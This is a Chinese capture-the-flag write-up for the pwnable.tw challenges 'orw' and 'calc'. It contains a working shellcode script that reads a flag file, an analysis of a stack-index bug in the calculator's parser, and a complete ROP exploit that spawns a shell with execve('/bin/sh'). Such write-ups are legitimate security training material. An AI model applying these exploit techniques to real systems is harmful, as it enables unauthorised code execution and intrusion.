pwnable.tw 题解笔记

题目

orw

考察写shellcode

题目只允许使用read/write/open.
系统调用表: https://introspelliam.github.io/2017/08/06/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/

#coding=utf-8

from pwn import *

p = remote('chall.pwnable.tw', 10001)

sh =  asm('sub esp, 100')
sh += asm('xor ecx, ecx')
sh += asm('xor edx, edx')
sh += asm('xor eax, eax')
sh += asm('xor ebx, ebx')

# "/home//orw//flag"   16个字符
# >>> [ hex(ord(i)) for i in '/home//orw//flag'  ]
# [
        # '0x2f', '0x68', '0x6f', '0x6d',
        # '0x65', '0x2f', '0x2f', '0x6f',
        # '0x72', '0x77', '0x2f', '0x2f',
        # '0x66', '0x6c', '0x61', '0x67'
# ]

# sys_open
# eax 5
# ebx const char __user
# ecx flags
# edx mode

sh += asm("push ecx") # for '\0'
sh += asm("push 0x67616c66; push 0x2f2f7772; push 0x6f2f2f65; push 0x6d6f682f; mov ebx, esp;")
sh += asm("mov eax, 5")
sh += asm("int 0x80")
sh += asm("nop; nop; nop;")

# sys_read
# eax 3
# ebx fd
# ecx buf
# edx count

# read(fd, buf, 100);
# call read
sh += asm("mov ebx, eax;")
sh += asm("mov eax, 3; mov ecx, esp; mov edx, 60;")
sh += asm("int 0x80;")
sh += asm("nop; nop; nop;")

# sys_write
# eax 4
# ebx fd
# ecx buf
# edx count
sh += asm("mov eax, 4; mov ebx, 1; mov edx, 60;")
sh += asm("int 0x80;")

sh += asm('add esp, 120;')
sh += asm('ret')

p.recvuntil('Give my your shellcode:')
p.send(sh)

s = p.recv()
print 'recv: [%s]' %(s, )

题目 calc

题目是一个计算器
pwnable.tw 题解笔记_第1张图片
输入数学表达式,求值。
下载而二进制文件,看一下怎么实现的。

main:
pwnable.tw 题解笔记_第2张图片
main函数调用calc

pwnable.tw 题解笔记_第3张图片
get_expr 接收表达式,parse_expr计算表达式。

pwnable.tw 题解笔记_第4张图片
get_expr 录取符号和数字,回车结束录入。
接下来的重点就是parse_expr如何解析表达式了。

图1:
pwnable.tw 题解笔记_第5张图片

图二:
pwnable.tw 题解笔记_第6张图片
遍历表达式,当遇到符号时,计算符号前的数值。函数维护了两个数组,一个是pool数组,用来存储计算过程中的值,另一个是op数组,用来存储录入的符号。

比如233+456-789,当录入到+时,会先把233添加到pool数组内,

      nNum = atoi(pMalloc);
      if ( nNum > 0 )
      {
        n = (*pool)++;
        pool[n + 1] = nNum;
      }

这个地方要注意一下,pool数组是如何存储数据的,pool[0]存储的是当前数组内的元素数量。数据从pool+1 开始存储。
所以此时pool的结构是

pool[0] = 1
pool[1] = 233

同时因为当前的op操作符数组内没有运算符,就把+录入到op数组中。
此时op数组为

op_arr[0] = '+'
op_idx = 1

继续循环,到录入到-时,首先把456存入pool, pool数组的内容为 2 233 456, 虽然发现op数组中已经有+了,如果新符号为%*/时,如果上一个符号不为+-,那么先计算上一个符号的运算,即233 op 456, 如果发现上一个符号为+-, 那么那么添加新符号到op数组中。如果新符号为+-, 那么先把上一个符号的计算完成,即 233+456, 然后把新符号录入到数组中。此时pool数组的结构为

pool[0] = 1
pool[1] = 689

随后op_arr[0] = '-'
也就是说,每次计算都会把pool数组最右侧的两个数字,和 op 数组中的操作符进行计算把把值写回pool数组。
当扫描结束后,如果发现op_arr中有剩余操作符,就把op_arr中的操作符和pool数组中的操作数进行计算。
计算规则是:

idx = pool[0]
pool[idx-1] = pool[idx-1] (op) pool[idx]

问题就出在这里。
如果我们输入的表达式不是以数字开头的话,比如+300,那么最后进行计算前,

pool[0] = 1
pool[1] = 300

op_arr='+'

根据计算规则,
此时会 计算

pool[0] = pool[0] + pool[1] -1

即: pool[0] = 300
而我们计算器输出的值
pwnable.tw 题解笔记_第7张图片
输出pool [ pool[0] ] 处的值,所以此处控制了pool[0] 就可以对任意地址进行读写。
读写的数据地址为:

ebp - 5A0 + eax*4 + 4

其中eax即为pool[0]的值。
同时注意init_pool函数每次会清空pool[100]数组, 所以要避免这部分空间。

栈结构为:
pwnable.tw 题解笔记_第8张图片
pool数组的范围是 ebp - 0x5A0 开始的100个int数值空间。

当eax为300时,读取的地址为 ebp - 5A0 + 300*4 + 4.

为了证明准确,我们尝试读取输入的字符串s的地址。
字符串s的地址为ebp - 0x40C, 距离 pool 相差404个字节, 所以偏移101个字,既可以读取到字符串s.

pwnable.tw 题解笔记_第9张图片
那么 825241899 是什么呢?
pwnable.tw 题解笔记_第10张图片
就是我们输入的 ‘+101’

那怎样修改呢。
当我们输入+300+456时,
首先计算+300,此时pool[0] = 300. 随后计算+456时, pool[300] += 456,
就可以实现对任意地址的值的修改。

pwnable.tw 题解笔记_第11张图片
开了NX, 栈代码不可执行。 考虑ROP。

我们想要调用execve开个shell出来。

 19 # execve('/bin/sh')
 20 # eax:  11
 21 # ebx:  "/bin/sh"
 22 # ecx:  0
 23 # edx:  0

所以我们要构造这样的情况出来。
我们考虑重写main函数下calc函数的返回地址,当从calc函数退出时,掉入我们的shellcode。

>>> 0x5a0 / 4
360

因为ebp下面存的是返回地址。
所以偏移 360+ 1 字处,就是我们的返回地址。
验证:

root@pwn:~/pwn/calc# ./calc
=== Welcome to SECPROG calculator ===
+361
134517913
>>> hex(134517913)
'0x8049499'

0x8049499 正是text节中下一条指令的地址。

所以我们期待的栈结构为

# stack:
#   361:    0x0805c34b          # pop eax; ret
#   362:    11
#   363:    0x080701aa          # pop edx; ret
#   364:    0
#   365:    0x080701d1          # pop ecx; pop ebx; ret
#   366:    0
#   367:    addr4               # /bin/sh
#   368:    0x08049a21          # int 0x80
#   369:    0x6e69622f          # "/bin"
#   370:    0x0068732f          # "/sh\x00"

# ROPgadget:
# 0x0805c34b : pop eax ; ret
# 0x080701aa : pop edx ; ret
# 0x080701d1 : pop ecx ; pop ebx ; ret
# 0x08049a21 : int 0x80

# >>> [ hex(ord(i)) for i in ’/bin/sh‘  ]
# ['0x2f', '0x62', '0x69', '0x6e', '0x2f', '0x73', '0x68']

有一个难点就是如何确定/bin/sh的地址。
因为我们知道main函数的ebp地址, 又知道main函数的栈空间大小。
就知道了main 函数的esp地址。即 +361 处的线性地址空间。而/bin/sh地址位于 + 368 处
所以 addr_bin_sh = main_ebp+(-main_stack_size+7*4),main_stack_size 可以计算得到为 24

exp:

#coding=utf-8

from pwn import *

# context.log_level = 'debug'

con = remote('chall.pwnable.tw', 10100)
## con = process("./calc")
con.recvuntil('calculator ===\n')

base = 0x5a0 / 4  + 1 # 361

# root@pwn:~/pwn/calc# ./calc                                │
# === Welcome to SECPROG calculator ===                      │
# +361                                                       │
# 134517913 --> 0x8049499


# execve('/bin/sh')
# eax:  11
# ebx:  "/bin/sh"
# ecx:  0
# edx:  0

# ret指令弹出栈中保存的指令地址,然后无条件转移到保存的指令地址执行。

# stack:
#   361:    0x0805c34b          # pop eax; ret
#   362:    11
#   363:    0x080701aa          # pop edx; ret
#   364:    0
#   365:    0x080701d1          # pop ecx; pop ebx; ret
#   366:    0
#   367:    addr4               # /bin/sh
#   368:    0x08049a21          # int 0x80
#   369:    0x6e69622f          # "/bin"
#   370:    0x0068732f          # "/sh\x00"

# ROPgadget:
# 0x0805c34b : pop eax ; ret
# 0x080701aa : pop edx ; ret
# 0x080701d1 : pop ecx ; pop ebx ; ret
# 0x08049a21 : int 0x80

# >>> [ hex(ord(i)) for i in s  ]
# ['0x2f', '0x62', '0x69', '0x6e', '0x2f', '0x73', '0x68']


#...............................
#.bt:
#.  main
#.      calc
#.          parse_expr
#...............................

#stack:
#
#
#   局部变量
#   save ebp(main)          +360
#   ret addr main+x         +361
#                           +362
#                           +363
#                           +364
#                           +365
#                           +366
#                           +367
#                           +368
#                           +369
#                           +370
#
#   main





vals = [
         0x0805c34b,
         11        ,
         0x080701aa,
         0         ,
         0x080701d1,
         0         ,
        -1,             # /bin/sh\x00 address
         0x08049a21,
         0x6e69622f,
         0x0068732f,
        ]

for i in range(0, 10):
    if i == 6:
        # compute /bin/sh addr

        # 1. get func main ebp
        con.sendline('+360')
        print '[*] send [+360]'
        mebp = int(con.recv(1024))
        print 'main ebp=%x' %(mebp, ) # mebp=ffe73eb8

        mstacksize = mebp + 0x100000000 - ((mebp+0x100000000) & 0xfffffff0 - 16 ) # =24
        print 'mstacksize = %d' %( mstacksize,  )

        bin_sh_addr = mebp + (8 - ( mstacksize / 4 + 1 )) * 4
        vals[6] = bin_sh_addr

    s = '+' + str(base+i)
    # print '[*] send [%s]' %(s, )
    con.sendline(s)
    a = con.recv(1024)
    # print 'recv: [%s]' % a
    val = int(a)

    diff = vals[i] - val
    if diff < 0:
        s = '+%d-%d' % (base+i, diff * -1)
    else:
        s = '+%d+%d' % (base+i, diff * 1 )
    # print '[*] send [%s]' %(s, )
    con.sendline(s)

    res = int(con.recv(1024))
    print str(base+i), ':', hex(res)



print '[+] Interactive: '
con.interactive()
con.close()

pwnable.tw 题解笔记_第12张图片

你可能感兴趣的:(pwnable.tw 题解笔记)